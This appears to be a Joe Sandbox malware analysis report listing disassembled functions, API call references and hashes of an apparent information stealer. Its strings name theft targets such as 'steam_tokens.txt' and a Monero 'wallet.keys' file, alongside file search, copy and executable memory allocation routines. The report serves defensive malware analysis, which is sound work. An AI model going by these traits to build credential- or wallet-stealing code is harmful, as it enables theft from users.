Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f69ea212713c602de0e2827863d88ae332bc8aebbca35ac9684e70f113406223
Instruction ID: 2e9e71a19f99cbc4146e4154abfa1df95c271a1aa66d2ccade8445bd13d8379b
Opcode Fuzzy Hash: f69ea212713c602de0e2827863d88ae332bc8aebbca35ac9684e70f113406223
Instruction Fuzzy Hash: 7C61F5B5D00218EFCB14DF94E984BEEB7B0BB48304F148598E419A7280E775AE95EF91

Function 00F25100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A820: lstrlen.KERNEL32(00F14F05,?,?,00F14F05,00F30DDE), ref: 00F2A82B
Part of subcall function 00F2A820: lstrcpy.KERNEL32(00F30DDE,00000000), ref: 00F2A885

lstrlen.KERNEL32(00000000,00000000,00F30ACA), ref: 00F2512A

Strings

steam_tokens.txt, xrefs: 00F2513F

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 341ea148467ab1c053bd2e0971f577e014009197ec0f7065c3915e07cf071e02
Instruction ID: 934a2f074c807524010dfd8c01f16e14dd49e714fc80fcf98a5a9769a1c22bcc
Opcode Fuzzy Hash: 341ea148467ab1c053bd2e0971f577e014009197ec0f7065c3915e07cf071e02
Instruction Fuzzy Hash: 22F0F671910118A7CB08FBA0FC579ED733CAF54300F404268F91662092EF2CAA19EAA7

Function 00F27ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00F30E2C), ref: 00F27F00
wsprintfA.USER32 ref: 00F27F16

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 793c4f46d5741d9926f02f32f4c28eb5320aedc13b984d6346263d93e221c7fb
Instruction ID: e4b3460056c04039bd542b6b87201278ebf11ec2eef88f4e7f79b8e93b7c64aa
Opcode Fuzzy Hash: 793c4f46d5741d9926f02f32f4c28eb5320aedc13b984d6346263d93e221c7fb
Instruction Fuzzy Hash: 65F0F6B1944318EBCB14CF84EC45FAAFBBCFB44720F000669F51593280D77569408BE1

Function 00F1B4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

lstrlen.KERNEL32(00000000), ref: 00F1B9C2
lstrlen.KERNEL32(00000000), ref: 00F1B9D6

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 8a4bc813494fd727172130948c9be2af229926fe0afccf74b9ef0741e611bf58
Instruction ID: 5da1a3a1fd0a39787b0df5f1f5d0ef8629e63d7b62406934ea4373cf0b9e1a72
Opcode Fuzzy Hash: 8a4bc813494fd727172130948c9be2af229926fe0afccf74b9ef0741e611bf58
Instruction Fuzzy Hash: 36E103729101289BDB19FBA0ECA2EEE733CBF54300F404569F51767091EF386A59DB62

Function 00F1AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

lstrlen.KERNEL32(00000000), ref: 00F1B16A
lstrlen.KERNEL32(00000000), ref: 00F1B17E

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: d86c44278ff088b0f425d4649c87f846a97e9ab71bda02c9af0fb45867c70ee6
Instruction ID: 5abb524ebc2ababc380c537c04c21aec4bda78c96b496473c9f3e2a0ce6a4f27
Opcode Fuzzy Hash: d86c44278ff088b0f425d4649c87f846a97e9ab71bda02c9af0fb45867c70ee6
Instruction Fuzzy Hash: B89115729101289BDF18FBA0EC66DEE7338BF54300F404569F517A7091EF386A59DBA2

Function 00F1B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Part of subcall function 00F2A9B0: lstrlen.KERNEL32(?,00898B40,?,\Monero\wallet.keys,00F30E17), ref: 00F2A9C5
Part of subcall function 00F2A9B0: lstrcpy.KERNEL32(00000000), ref: 00F2AA04
Part of subcall function 00F2A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F2AA12

Part of subcall function 00F2A920: lstrcpy.KERNEL32(00000000,?), ref: 00F2A972
Part of subcall function 00F2A920: lstrcat.KERNEL32(00000000), ref: 00F2A982

Part of subcall function 00F2A8A0: lstrcpy.KERNEL32(?,00F30E17), ref: 00F2A905

lstrlen.KERNEL32(00000000), ref: 00F1B42E
lstrlen.KERNEL32(00000000), ref: 00F1B442

Part of subcall function 00F2A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00F2A7E6

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 71b8b77646658f8d4c3596681abc1b12727fd6d70e3bec7d47c82b15f25880bf
Instruction ID: f4d0822b5e35787d48304716671b9aa2bc81512deb3433e42f52b73fd1f24a51
Opcode Fuzzy Hash: 71b8b77646658f8d4c3596681abc1b12727fd6d70e3bec7d47c82b15f25880bf
Instruction Fuzzy Hash: 7F711571910128DBDB18FBA0ED66DEE7378BF54300F404528F517A7091EF386A59EBA2

Function 00F24BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F28DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00F28E0B

lstrcat.KERNEL32(?,00000000), ref: 00F24BEA
lstrcat.KERNEL32(?,0089D338), ref: 00F24C08

Part of subcall function 00F24910: wsprintfA.USER32 ref: 00F2492C
Part of subcall function 00F24910: FindFirstFileA.KERNEL32(?,?), ref: 00F24943

Part of subcall function 00F24910: StrCmpCA.SHLWAPI(?,00F30FDC), ref: 00F24971
Part of subcall function 00F24910: StrCmpCA.SHLWAPI(?,00F30FE0), ref: 00F24987
Part of subcall function 00F24910: FindNextFileA.KERNEL32(000000FF,?), ref: 00F24B7D
Part of subcall function 00F24910: FindClose.KERNEL32(000000FF), ref: 00F24B92

Part of subcall function 00F24910: wsprintfA.USER32 ref: 00F249B0
Part of subcall function 00F24910: StrCmpCA.SHLWAPI(?,00F308D2), ref: 00F249C5
Part of subcall function 00F24910: wsprintfA.USER32 ref: 00F249E2
Part of subcall function 00F24910: PathMatchSpecA.SHLWAPI(?,?), ref: 00F24A1E
Part of subcall function 00F24910: lstrcat.KERNEL32(?,0089E470), ref: 00F24A4A
Part of subcall function 00F24910: lstrcat.KERNEL32(?,00F30FF8), ref: 00F24A5C
Part of subcall function 00F24910: lstrcat.KERNEL32(?,?), ref: 00F24A70
Part of subcall function 00F24910: lstrcat.KERNEL32(?,00F30FFC), ref: 00F24A82
Part of subcall function 00F24910: lstrcat.KERNEL32(?,?), ref: 00F24A96
Part of subcall function 00F24910: CopyFileA.KERNEL32(?,?,00000001), ref: 00F24AAC
Part of subcall function 00F24910: DeleteFileA.KERNEL32(?), ref: 00F24B31

Part of subcall function 00F24910: wsprintfA.USER32 ref: 00F24A07

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 2b07c57361bedcda304a966be8107f824a67ce684ec1783487af5e8a34cebcd5
Instruction ID: a0ddc40a6df0c169cae25c0f54e179277a36e861ccdcaab60d7d2caa0d316d23
Opcode Fuzzy Hash: 2b07c57361bedcda304a966be8107f824a67ce684ec1783487af5e8a34cebcd5
Instruction Fuzzy Hash: 4B41BE77540204A7C7A4F7A0FC52DEE373DAB84700F004658B65957186EE799BCC9F92

Function 00F16660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00F16706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00F16753

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
